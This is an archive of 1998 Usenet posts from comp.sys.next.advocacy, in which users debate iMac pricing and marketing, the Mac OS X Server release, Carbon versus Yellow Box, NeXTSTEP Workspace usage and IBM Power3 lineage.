>
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: Revisiting a Prediction (concerning < $1K machines)
Message-ID: <edewF0qn8w.E0F@netcom.com>
Sender: edew@netcom5.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6vr62c$rtb@news1.panix.com> <edewF0q6F8.Mq7@netcom.com> <forrestDELETE-THIS!-1210981335180001@term1-16.vta.west.net>
Date: Mon, 12 Oct 1998 23:43:44 GMT
>> >
>> >Let me let you in on a secret. The iMac is just a computer.
>> >
>> You really don't understand marketing do you? Why is it that people are
>> willing to pay $2 for a bottle of Evian when they won't drink the water from
>> their tap? It's marketing. Let me tell you a little secret: Evian is
>> water.
>
>I dislike this analogy. Actually, it's a good analogy, but neither of you
>understand. Evian is water. The iMac is a computer. But tap water tastes
>like shit compared to good bottled water, and Joe's Generic PC sucks
>compared to a nice, simple, elegant iMac. (On a side note, neither of the
>two superior products mentioned here fit my tastes- I prefer Crystal
>Geyser to Evian, and a G3 Desktop to an iMac, but Evian and the iMac are
>still great products, just for different tastes).
>
People's perceptions are easily swayed by a nifty marketing. I'll bet
that I can give you plain tap water (from Menlo Park, CA) and Evian and
several others and you can't distinguish which is your "favorite."
Is coke better than pepsi? Yeah, they tast different, but it's hard to
claim that one is "better" than the other. Is a volvo better than a
buick (well, I guess that's a bad example...)? The point is, volvos and
mustangs and buicks and toyotas and so on are all just cars. But why would
a customer want to buy one over the other? Certainly not because of price
alone. Certainly not because of safety factors alone, certainly not because
of performance factor alone. Somehow, people's perceptions influence their
purchasing decisions. The point of marketing is to get the product into
the right perception in the minds of the customer.
For the iMac, the perception is that it is a high-quality, unique,
state-of-the-art INTERNET-READY, simple-to-use computer. Not just another
computer. The perception is bolstered by the look of the product, the
feel of the product, the PRICE of the product, and how and where the product
is sold. (Selling iMacs through corner "Joe's electronic discount store"
will ruin the image. You know the stores I'm referring to: stores on
Market St in SF next to the porno shops and discount shoes, stores along
Walnut or Chestnut Sts in Philly, or stores down in Greenwich Village in
NYC.)
Is the $1299 price point *JUST* the optimal price? I don't know. I doubt
it. But, I wouldn't be surprised if the price point should be higher than
lower.
EDEW
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft, Cisco "unprofitable"
Date: 12 Oct 1998 22:15:46 GMT
Organization: Net Squared, Inc.
Message-ID: <01bdf62b$fff2f0e0$06387880@chewy>
References: <6vtris$kbj@newsb.netnews.att.com>
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote
> According to this URL, after taking employee stock options
> into account, Microsoft and Cisco are "clearly unprofitable".
There is an on-going debate regarding how to report "stock options" in
financial statements. I think the report is unnecessarily
inflammatory, but it serves to point the problem out.
todd
From: John Kuszewski <johnk@spork.niddk.nih.gov>
Newsgroups: comp.sys.next.advocacy
Subject: Re: XoX for MacOS X :-)
Date: Tue, 13 Oct 1998 19:57:41 -0400
Organization: Nat'l Insts of Health
Message-ID: <3623E8F5.3320@spork.niddk.nih.gov>
References: <01bdf5f5$0d2b0e00$06387880@chewy> <6vvd15$m5t$1@sun27.hrz.tu-darmstadt.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Christian Neuss wrote:
>
> "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null> wrote:
> >Now I really want MacOS X Server... The XoX family will be available for it
> >:-)
> See? I even bought a new machine when I heard the good news. :-)
>
> >http://www.stepwise.com/StepwiseReport/October11_1998.html
> >http://www.ensuing.com/freebies/xox/
>
Pity it crashes so much...
--
_____________
| ___/_
| |/ /
-- /\ // /--
|| || / /||
|| || / / ||
|| ||/ / ||
Dr. John Kuszewski || |/ /| ||
johnk@spork.niddk.nih.gov || / /|| ||
\/ / / || \/
|/__/| |
/_________|
My parents went to Zaire and all I got
was this lousy retrovirus.
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Revisiting a Prediction (concerning < $1K machines)
Message-ID: <forrestDELETE-THIS!-1210981335180001@term1-16.vta.west.net>
References: <6vopcc$1p8@news1.panix.com> <edewF0Myu5.D8B@netcom.com> <6vr62c$rtb@news1.panix.com> <edewF0q6F8.Mq7@netcom.com>
Organization: Obsidian Design / Static Dreams Interactive
Date: Mon, 12 Oct 1998 13:35:17 -0700
NNTP-Posting-Date: Mon, 12 Oct 1998 13:34:24 PDT
In article <edewF0q6F8.Mq7@netcom.com>, edew@netcom.com (Eric Dew) wrote:
> >> * The iMac isn't any different than any other machine (regardless of
> >> whether that's the case or not)
> >
> >Let me let you in on a secret. The iMac is just a computer.
> >
> You really don't understand marketing do you? Why is it that people are
> willing to pay $2 for a bottle of Evian when they won't drink the water from
> their tap? It's marketing. Let me tell you a little secret: Evian is
> water.
I dislike this analogy. Actually, it's a good analogy, but neither of you
understand. Evian is water. The iMac is a computer. But tap water tastes
like shit compared to good bottled water, and Joe's Generic PC sucks
compared to a nice, simple, elegant iMac. (On a side note, neither of the
two superior products mentioned here fit my tastes- I prefer Crystal
Geyser to Evian, and a G3 Desktop to an iMac, but Evian and the iMac are
still great products, just for different tastes).
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: IBM's Power3 processor
Date: 12 Oct 1998 20:30:08 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6vtosg$k4k@newsb.netnews.att.com>
Originator: gupta@tlctest
IBM's Power3 is a 64-bit PowerPC implementation, that is
intended to replace Power2 in RS/6000 workstations and servers.
AFAIK, despite its name, it is PowerPC and not POWER.
The current 200 MHz part gets SPEC95int/FP of 13/30.
Info is available in the November 17, 1997 issue of Microprocessor
Report.
IBM's "RS/6000 Scientific and Technical Computing :
POWER3 Introduction and Tuning Guide" is available at
http://publib.boulder.ibm.com/pubs/pdfs/redbooks/sg245155.pdf
(or go to www.redbooks.ibm.com, and search for POWER3)
Details of the architecture, and industry standard benchmark info.
are included in this.
The attached ASCII chart shows one comp.arch reader's
view of Power/PowerPC lineage.
-arun gupta
>From: mark@hubcap.clemson.edu (Mark Smotherman)>Newsgroups: comp.arch
>Subject: Re: New Power3 processor
>Date: 7 Oct 1998 13:08:42 -0400
>Organization: Clemson University
Is this lineage essentially correct?
Stretch [cumulative mult&add; branch preexecution or predict untaken]
/ |
ACS | 801 [Cocke; Watson Labs]
\ | /
Cheetah [Agerwala; Watson Labs; 2-way issue; backup regs. from ACS]
America [Grohoski; Watson Labs; 4-way issue; rename on fp loads]
RIOS (Power1) [IBM Austin]
| \_____________________________________
MC88110 RSC \
\___| |
PPC 601 |
.................................. |
PPC 603 PPC 604 PPC 620 Power2 [Grohoski]
| | | |
| | | P2SC
\ / | |
\ / | AS10,AS30 [AS/400 IBM Rochester]
\ / | |
\ / | RS64
PPC 740/750 (G3) |
/ \ |
MC w/Altivec | Power3
G4
1989 RIOS - <hard to attribute>
1991 88110 - Diefendorff
1992 RSC - Moore
1993 601 - Moore and Muhich
1994 603 - Burgess, Reininger, and Kahle
1994 604 - Song
var. 4xx,8xx - various
? 620 - ?
? 615 - ? [IBM Burlington] cancelled
1994 Power 2 - Grohoski
1994 ASxx - Wottreng and Corrigan
? RS64 - ?
1995 602 - ?
1997 740/750 - Burgess
1998 Altivec - Diefendorff
1998 Power3 - ?
? G4 - ?
--
Mark Smotherman, Computer Science Dept., Clemson University, Clemson, SC
http://www.cs.clemson.edu/~mark/homepage.html
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X server delays
Date: 12 Oct 1998 19:28:36 GMT
Organization: Michigan State University
Message-ID: <6vtl94$irm$1@msunews.cl.msu.edu>
References: <6vhtq2$r5o$1@nnrp1.dejanews.com> <alex-0810981011500001@cs48-149.austin.rr.com>
<361D0F2A.22B8@earthlink.net> <alex-0910981100530001@cs48-17.austin.rr.com>
<6vssuu$9n2$1@wbnws01.ne.highway1.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: jkheit@mediaone.net
In <6vssuu$9n2$1@wbnws01.ne.highway1.com> John Kheit wrote:
> alex@WebIS.net (Alex Kac) wrote:
> > command line for some of my file management. Why can't I have two darned
> > windows easily open so I can drag tween them? Why must I have to create a
> > new viewer and then navigate again there? It was a waste of time and brain
>
> You can. You just hit Cmnd-Shift-O, or Alt-double click, or OPEN AS FOLDER
> from the menu, and the directory you are in will open as another window. I
> agree that allowing one to simply double click in the browser view without
> requiring modifiers would make things go quicker, but it wasn't that bad for
> me.
>
I'm not sure what Alex and others are complaining about.
Move File (delete one behind) Alt-drag
Copy (leave origional behind) Shift-drag
Make link Ctrl-drag
Open folder (even if an application etc.) Alt-Shift-O
New Viewer (pointing to same directory) Alt-Shift-N
I'm sure everyone has a few bitches but in general the things
people are bitching about seem easily avoidable. I mean
if you have a favorite directory you like to pop into, or your
working on just drop it in the dock at the top of the viewer.
Perhaps Alex is commenting that ..step doesn't 'remember'
which directory you were last in. I'd have to log out and
in again to check, but if you have more than one view open
I do think subsequent browsers remember where you were at the
last time you logged out. Why the first view always takes
one home is a mystery to me.
As a last comment. One thing that is quite annoying to me
about the Workspace is what happens when one moves between
multiple ..step boxes on a LAN. If one machine has nfs links
that another doesn't and you move between those machines
frequently you'll often find ANY links dragged to the dock
that refer to those (sometimes you have em, sometimes you don't)
nfs mounted directories on one machine will completely dissappear
off your dock when you move to the other machine. What's worse
is they won't reappear on the first.
I would have thought that a broken link type icon would suffice -
but deleting the dock entries in this case is extremely BAD.
The solution. Make sure all nfs mounts are available on
all machines you use - which sometimes because of security
reaons is not the best solution.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: rpeterson@msn.globaldialog.com (Ron Peterson)
Newsgroups: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the desktop)
Followup-To: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
Date: 12 Oct 1998 04:03:23 GMT
Message-ID: <6vrv2b$rkf$1@news2.alpha.net>
References: <6vbi7r$12su2@odie.mcleod.net>
CaHand (ch3@-RE-MOVE-earthlink.net) wrote:
: Funny how IBM continues to silently develop VisualAge SmallTalk,
: which is actually quite comparable to OpenStep. If they had such
: rock solid belief in "Java is the answer" philosophy, I'd think
: they'd drop VASmallTalk and put that money into the Java effort.
IBM doesn't put all of their eggs in one basket.
IBM supports their products for a number of years after they
discontinue them.
IBM doesn't allow competition between product lines.
IBM will not port products to their own platforms (e.g. OS/2)
unless it will make money.
Ron
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MJP theorizes Carbon, months before Jobs announced it!!!
Date: Mon, 12 Oct 1998 13:03:31 -0500
Organization: Ericsson North America Inc.
Message-ID: <36224472.CEDA184B@ericsson.com>
References: <6vopca$1p8@news1.panix.com> <3620076A.5FA93D46@nstar.net> <6vr62a$rtb@news1.panix.com> <3621289A.25C6A4F9@nstar.net> <6vrntr$548@news1.panix.com>
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Sal Denaro wrote:
> The terms "framework" and API are often used interchangeably.
But only where they overlap.
> You can
> check this out by looking up any of the books written by Bruce Eckel
> (Thinking in C++ should be on the shelf of any good C++ person where
> you work) or Gary Entsminder (sp?)
Funny, that book missed the shelves of the "good C++ people" where I
work. I caught Design Patterns and Stroustroup's second edition on mine
and others, though.
> In the both the "Tao of Objects" and "The way of Delphi", Mr Entsminder
> uses the term "Application Framework" to mean "O-O API".
An object-oriented API may well be a framework. My current project
involves an enormous C++ API that is intended to provide a framework for
highly available network-aware telecom applications. I didn't write it,
I write for it; I'm fairly familiar with the notions involved with both
"frameworks" and "APIs", and I'm also well aware of how much they
overlap.
I'm also well aware of how much they do *not* overlap. In any case, the
original comments were made to theorize, specifically, an "abstract
framework" that could be used for both MacOS and Yellow Box development.
I certainly did not "theorize Carbon", nor did I anticipate it in any
other thoughts, private or public, at the time. That should clear things
up.
> The YellowBox documentation refers to FoundationKit and ApplicationKit as
> frameworks that provide APIs.
Sure. "Frameworks that provide APIs". That's the relationship I would
have anticipated. The definition of framework is certainly not satisfied
by "API".
[cut]
> How do you define "abstract framework"? Would you agree to this:
>
> "The interface by which an application program accesses operating
> system and other services and provides a level of abstraction between
> the application and the kernel."
No, I definitely wouldn't define it that way. I would say that your
definition describes the set of system calls, or the C Library, or some
superset thereof. Is that how *you* would define "abstract framework"?
That's ridiculous.
> And how many years would this have taken? Developers are using the carbon
> dater tool _NOW_.
>
> And how are you going to convince Mac ISVs to port to a new API when
> Apple couldn't convince them to port to YellowBox?
Read my original post.
> Your solution sounds like "Dump all your code and port to my new API"
> When Apple tried this with YB, the ISVs were not interested.
Again, you're having this problem differentiating between framework and
API. I didn't say anything about an API, nor did I even mention the
specific manner in which this framework would be implemented. I said
very little on the subject, and the matter closed. In any case, the time
and context of the discussion have passed.
> Apple wanted ISVs to port MacOS code to YB code via latitude, and then
> deploy anywhere YB could run. That would include MacOS and Rhapsody. This
> sounds exactly what you are saying. Have MacOS ISV port to a new toolkit,
> then deploy wherever this toolkit can deploy.
Hey, weren't you involved in that thread? Yes, you were. And I'm sure
you remember that Latitude was specifically discussed. In fact, I'm sure
you remember that it was specifically pointed out to you that Latitude
is a one-way porting solution.
[cut]
> Why would your toolkit, that currently doesn't exists, be a better solution
> than Carbon?
I'm not trying to sell you anything. Get off of me.
Are you living in some kind of time-warp? My comments were made a year
ago, before Carbon was a twinkle in your or anyone else's mind.
> For Apple's ISVs it does. And most (if not all) have signed on for it.
Good for them.
[cut]
> Apps running in the BB do not take full advantage of MacOSX. They do not
> gain PMT or PM. Any App can crash the BB, this is not the case with Carbon.
The Blue Box itself had PMT and PM. Running Blue Boxes for each app was
discussed. Carbon is, functionally, a Blue Box for individual
applications. As I said, a "Carbon is effectively a better Blue Box". I
did not say that Carbon *was* Blue Box.
> No it doesn't. Carbon doesn't add PMT or PM to MacOS, it takes advantage
> of it on MacOSX.
Effectively, it takes advantage of PMT and PM on BSD 4.4. I feel like a
broken record. Don't worry, it's nothing new in these threads.
> >fruitless. Instead of buying NeXT, Apple may as well have put together a
> >BSD distribution, dreamed up this Carbon idea, and built it upon the BSD
> >base.
>
> The one thing that prevented this was Gil's shortsightedness. There is
> _zero_ NeXT technology in Carbon.
Explain. I never said that this strategy was preferable to Gil's
Rhapsody strategy. All I said was that it made more sense than Jobs'
current strategy.
> Apple had this, the MAE. It was killed by Gil and resurrected by Steve
> to become the BB.
I see. "Good authority" has become fact. Cute.
[cut]
I'm finished with speculation. Anyway, your response seems mostly aimed
toward blaming ISVs, Gilbert Amelio, previous Apple management, and
anyone else apart from the current Apple Hero Cabal for anything and
everything.
[cut]
> Huh? AFAIK, Gil had no plan at all. Can you point to anything to
> back up your statement that Gil wanted to compete with Unix in
> any market? Gil moved Apple out of PowerOpen. It doesn't look like
> he had any Unix plans at all.
Right. Except for the fact that he purchased NeXT. Slipped your mind,
maybe?
> Why not? Endian issues?
There are a lot of reasons, but the primary reason is that Microsoft is
not likely to allow it. The Win32 API is fairly fluid and difficult to
decipher at times. I have no doubt that Microsoft could make such a
complex runtime environment relatively impossible to implement in
subsequent releases of Windows.
> ???
>
> It is odd to hear you say that, you had repeatedly advocated that
> Apple get out of the OS business and concentrate on porting its
> UI and frameworks onto any system that can run them.
Right, any system. Did you read what I said? "Compete with Windows and
make Unix invisible". Doesn't make much sense. More sensible would be
"make everything invisible".
> >Gil planned a
> >strategy that would have enabled app-creation in a cross-platform way
> >with native speed, using an application framework that could be easily
> >ported to emerging platforms
>
> I never heard this from Gil, can you point to any statement where he
> stated this as his plan?
Yes. May 2, 1997, a Rick LePage interview with Gilbert Amelio published
in MacWEEK Online. Search in MacWEEK for "Amelio", "Rhapsody", and
"important". The article is called "Amelio talks Rhapsody", or something
similar.
> Huh? The "PPCP phenomenon"? By the time Jobs steped in, Solaris PPC
> was dead, FirePower systems was sold to Moto and was quickly shrinking.
> MacOS was the only PPC OS that was shipping in any volume.
I don't get your point, though I recognize the tone. Apologists for
failure seem to use prior failure as a random -- but apparently valid,
to them -- vindication for continued failure. Jobs killed the MacOS PPCP
market; vendor efforts were dormant but not dead until Jobs' action.
> >Oh well, we don't know if it ever happened, anyway. MAE was languishing
> >with minimal support from Apple management long before Gil stepped in.
>
> If Gil had not been so shortsighted, he might have seen the efforts of
> the MAE team to produce a way to port Mac Apps to other OSs, and helped
> save Apple $400 million.
I don't understand what you're saying. Are you suggesting that the NeXT
purchase was a mistake?
MJP
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Future Apple technologies
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References: <6vve01$lcg@lutra.sztaki.hu>
Message-ID: <2IMU1.1484$zo1.2631026@news.rdc1.sdca.home.com>
Date: Tue, 13 Oct 1998 18:10:06 GMT
NNTP-Posting-Date: Tue, 13 Oct 1998 11:10:06 PDT
Organization: @Home Network
In <6vve01$lcg@lutra.sztaki.hu> Balazs Pataki wrote:
>
> Hi,
>
> I've found the following little article:
>
> ====
> 11:08a
>
> Apple developing interactive screens, new search engine
>
> Apple Computer Inc. is developing interactive computer screens, a search
> engine that responds to descriptions instead of keywords and tools that
> encourage conversation over the Internet, the Australian Financial
> Review is reporting. Apple scientist Dr. Kristina Woolsey told the Review
> that while the tools were almost ready for the market, she didn't believe
> the general public was quite ready for the tools. --
>
> Joel Deane, ZDNN
> ====
>
>
> Unfortunately I'm not a regular reader of the Australian Financial Review,
> but I would be interested if any of you know what these things may mean:
> - interactive computer screens
> - search engine that responds to descriptions instead of keywords
>
> Any rumors or ideas?
> And aren't we really ready for tools like these?
>
>
No idea... but whatever advance in human/computer interface, Apple betters
the technology's prospects by finding the perfect problem before releasing
the perfect solution :-)
-r
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: Revisiting a Prediction (concerning < $1K machines)
Message-ID: <edewF0s51K.Jo5@netcom.com>
Sender: edew@netcom11.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <forrestDELETE-THIS!-1210981335180001@term1-16.vta.west.net> <edewF0qn8w.E0F@netcom.com> <forrestDELETE-THIS!-1210981719270001@term4-20.vta.west.net>
Date: Tue, 13 Oct 1998 19:05:44 GMT
In article <forrestDELETE-THIS!-1210981719270001@term4-20.vta.west.net> forrestDELETE-THIS!@west.net (Forrest Cameranesi) writes:
>In article <edewF0qn8w.E0F@netcom.com>, edew@netcom.com (Eric Dew) wrote:
>
>> People's perceptions are easily swayed by a nifty marketing. I'll bet
>> that I can give you plain tap water (from Menlo Park, CA) and Evian and
>> several others and you can't distinguish which is your "favorite."
>
>I've never seen a commercial for Evian or Crytal Geyser, but I prefer
>Crystal Geyser. And I can definately tell the difference between them, in
>identical cups, and from tap water as well (I live in Ojai, CA, near Santa
>Barbara. never heard of Menlo, but we're probably pretty close, and most
>of CA gets it's water from the same sources).
>
Menlo Park is next to Palo Alto (next to Stanford and Redwood City). I
believe the water comes from Hetch Hetchy, which is not the same as Santa
Barbara's water. When I lived in SB, I had no problems with the water
(tasted fine), although folks with "distinguished" palates (i.e., from
ritzy area of the Bay Area) can't stand the water. I'm from the Bay Area
and went to school at SB, and I couldn't for the life of me understand
the water-snobbery.
EDEW
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MJP theorizes Carbon, months before Jobs announced it!!!
Date: 14 Oct 1998 05:26:55 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <701cmv$6bk@news1.panix.com>
References: <6vopca$1p8@news1.panix.com> <3620076A.5FA93D46@nstar.net> <6vr62a$rtb@news1.panix.com> <3621289A.25C6A4F9@nstar.net> <6vrntr$548@news1.panix.com> <36224472.CEDA184B@ericsson.com>
On Mon, 12 Oct 1998 13:03:31 -0500, Michael Peck
<Michael.Peck@ericsson.com> wrote:
>Sal Denaro wrote:
>> The terms "framework" and API are often used interchangeably.
>But only where they overlap.
<snip>
>In any case, the
>original comments were made to theorize, specifically, an "abstract
>framework" that could be used for both MacOS and Yellow Box development.
So any OO framework that runs under Carbon, and can generate code that is
aware of the APIs for taking advantage of YB under MacOSX fits your
definition.
What you are sugesting now isn't a tool for porting.
More importantly, there is an awful catch-22 in your idea. In order to use
that as a porting tool, you first have to port your code to it. After doing
that, you port _twice more_ (once for each platform). If you decide to make
it easier on yourself, you stick the union of those functions that belong
to both OSes, you end up not taking advantage of the full features that belong
to each OS. But wasn't that the goal of your hypotechical tool in the first
place?
If you are going to put that kind of effort into it, why not port to Java
and ship on N Platforms rather than the two that your system would support?
>I certainly did not "theorize Carbon", nor did I anticipate it in any
>other thoughts, private or public, at the time. That should clear things
>up.
Don't you think that it is pretty close? Carbon is a two way porting tool
that does the very thing you advocated, build native Apps on both MacOS
and Rhapsody.
>> And how are you going to convince Mac ISVs to port to a new API when
>> Apple couldn't convince them to port to YellowBox?
>Read my original post.
You didn't answer it, you dodged it like you are doing now.
>> Apple wanted ISVs to port MacOS code to YB code via latitude, and then
>> deploy anywhere YB could run. That would include MacOS and Rhapsody. This
>> sounds exactly what you are saying. Have MacOS ISV port to a new toolkit,
>> then deploy wherever this toolkit can deploy.
>Hey, weren't you involved in that thread? Yes, you were. And I'm sure
>you remember that Latitude was specifically discussed. In fact, I'm sure
>you remember that it was specifically pointed out to you that Latitude
>is a one-way porting solution.
It has the disadvantage of being a real product, and therefore limited
by reality. I don't see any advantage of porting code three times to
ship it as a native app on two platforms as opposed to porting it once
to ship it as a native App on two platforms.
>> If Gil had not been so shortsighted, he might have seen the efforts of
>> the MAE team to produce a way to port Mac Apps to other OSs, and helped
>> save Apple $400 million.
>I don't understand what you're saying. Are you suggesting that the NeXT
>purchase was a mistake?
No, letting Apple fall apart to the point where they had to buy NeXT and
had the company over to Jobs was a mistake.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Revisiting a Prediction (concerning < $1K machines)
Date: 14 Oct 1998 05:26:57 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <701cn1$6bk@news1.panix.com>
References: <6vopcc$1p8@news1.panix.com> <edewF0Myu5.D8B@netcom.com> <6vr62c$rtb@news1.panix.com> <edewF0q6F8.Mq7@netcom.com>
On Mon, 12 Oct 1998 17:40:20 GMT, Eric Dew <edew@netcom.com> wrote:
>In article <6vr62c$rtb@news1.panix.com> sal@panix.com writes:
>>Sorry, I don't follow this at all. Prices of consumer electronics drop all
>>the time. My first CD player cost me over ~$300. Now that I can buy them for
>>less than that, I don't feel in any way cheated.
>It would be if you paid $1299 for it in August and see it selling for $999 in
>November.
Apple has had bigger price drops than that, both in absolute numbers and in
percents. Did the drop in the price of g3 desktops get anyone upset?
Intel drops prices every other month and I don't see any PII owners upset
by that.
>You really don't understand marketing do you? Why is it that people are
>willing to pay $2 for a bottle of Evian when they won't drink the water from
>their tap? It's marketing.
Totally different markets. I am going to put in more effort in deciding a
computer purchase then in a water purchase. The $.25 to $.50 difference
in a bottle of Evian vs a bottle Poland Spring is less an issue to me than
the $250 to $300 price difference in Mac vs PC prices.
>>>If Apple needs to compete in the low price arena -- and I have yet to see
>>>a compelling reason to do so -- it should create a iMac-lite instead of
>>>dropping the price on the original iMac.
>>Why not create an iMac+ at $1299, and then drop the price of the current
>>iMac to $999? The costs of building the iMac have (undoubtedly) dropped.
>There is also another force in play: the resellers like CompUSA and Fry's
>are doing a brisk business at $1299. They'd be happy to sell them at $1299
>if Apple drops their end of the price. So, Apple should keep the price up
>because Fry's et al., would be more than happy to keep the price up.
Huh? Then why does CompUSA drop the price of Compaq machines as soon as
Compaq lowers its prices? I disagree with the logic. If CompUSA sold iMacs
at $1299, but Fry's sold them at $1099 don't you think CompUSA would have
to lower its price as well?
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: 14 Oct 1998 05:26:56 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <701cn0$6bk@news1.panix.com>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com> <6vlct5$n66$1@nnrp1.dejanews.com> <6vopcb$1p8@news1.panix.com> <36228820.434A@earthlink.net>
On Mon, 12 Oct 1998 23:52:25 +0100, Steve Kellener
<skellener@earthlink.net> wrote:
>Sal Denaro wrote:
>> I've heard that it is ready to ship, but Apple is waiting for WO4 to be ready
>> to ship with it. This statement was made by a WO guy at Apple I know.
>Any idea how much is OS X Server gonna cost Sal?
Anyone in a position to know isn't in a position to answer and vice versa.
The only statement from Apple I've heard is that it will be "more than MacOS,
less than OpenStep"
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: 14 Oct 1998 06:10:12 GMT
Organization: Michigan State University
Message-ID: <701f84$nkq$1@msunews.cl.msu.edu>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com> <6vlct5$n66$1@nnrp1.dejanews.com>
<6vopcb$1p8@news1.panix.com> <36228820.434A@earthlink.net>
<6vvqfl$qfl@shelob.afs.com>
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Cc: greg@afs.com
In <6vvqfl$qfl@shelob.afs.com> "Greg Anderson" wrote:
> Steve Kellener wrote in message <36228820.434A@earthlink.net>...
> >Any idea how much is OS X Server gonna cost Sal?
>
> No. Nobody knows. Well, maybe a few people inside Apple. But they don't seem
> inclined to share the information as of yet. Hard to understand why it's
> such a big secret.
>
> Greg
>
How about this:
MacOS X Server $1299+ship
(iMac included)
I'm not sure whether to laugh or cry at the thought of this.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: The future's so bright I (hope) we have to wear shades
Message-ID: <cdoutyF0sKs1.J5z@netcom.com>
Sender: cdouty@netcom11.netcom.com
Organization: Netcom Online Services
References: <6vg10f$t3g$1@pascal.a2000.nl> <distler-0810980051360001@192.168.0.1> <361D0EB8.4104@earthlink.net> <361E64C5.C5202B6A@cygnus.com>
Date: Wed, 14 Oct 1998 00:45:37 GMT
In article <361E64C5.C5202B6A@cygnus.com>, John Rudd <jrudd@cygnus.com> wrote:
>Steve Kellener wrote:
>>
>> > Under NextStep, nobody FORCES you to install apps under /LocalApps.
>> > That is CONVENTION (and a good one, IMHO).
>>
>> Yes. I have never understood why Mac users' complaints about this.
>> LocalApps is the conventions a s you said. It is still possible to
>> install apps elswhere if so desired. Besides, look at any Macintosh HD
>> and you'll usually find....guess what?.....an applications directory,
>> and a utilities directory. Most people just tend to organize stuff that
>> way. LoaclApps is not such a far leap to comprehend.
>>
>
>Well.. yes and a little bit no.
>
>LocalApps is a convention, but it is also an enforced convention.
>
>/LocalApps is in the default path for where the workspace looks for GUI
>apps, so that it can register their services, file type handling, etc.
>If I recall correctly the default is:
>
>/NextApps
>/NextAdmin
>/NextDeveloper/{Apps, Demos}
>/LocalApps
>~/Apps
>
>
>This preference is NOT modifiable with the default modules for the
>Preferences.app, you:
>a) have to know about it (it's not plainly documented in the
>introductory user docs)
>b) have to know how to use dread and dwrite to change it
>
>
>So, to a novice user, or even a casual user (particularly a GUI only
>user), it may as well be hard coded. And those are the user groups that
>Mac Advocates tend to worry about.
Yup. They are also the groups that probably need a little "help" in
adopting good file organization. I don't have a problem with it. YMMV.
If I'm going to worry about novices, then I'll want to teach them
practices that will help them be productive long after I'm gone. It's
that whole "give them a fish or teach them to fish" thing.
We'll just have to see how MXS and MX behave.
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: Wed, 14 Oct 1998 13:16:45 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <70287s$vgt$1@nnrp1.dejanews.com>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com> <6vlct5$n66$1@nnrp1.dejanews.com> <6vopcb$1p8@news1.panix.com> <36228820.434A@earthlink.net> <701cn0$6bk@news1.panix.com>
sal@panix.com wrote:
> >Any idea how much is OS X Server gonna cost Sal?
>
> Anyone in a position to know isn't in a position to answer and vice versa.
Maybe no one here, but Apple is very much in a position to answer.
> The only statement from Apple I've heard is that it will be "more than MacOS,
> less than OpenStep"
Which is a wide enough gap to be absolutely useless for planning purposes.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Avie! Avie! Avie!
Date: Wed, 14 Oct 1998 11:01:02 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1410981101020001@pelli.pathology.pitt.edu>
References: <6vl939$69u@shelob.afs.com>
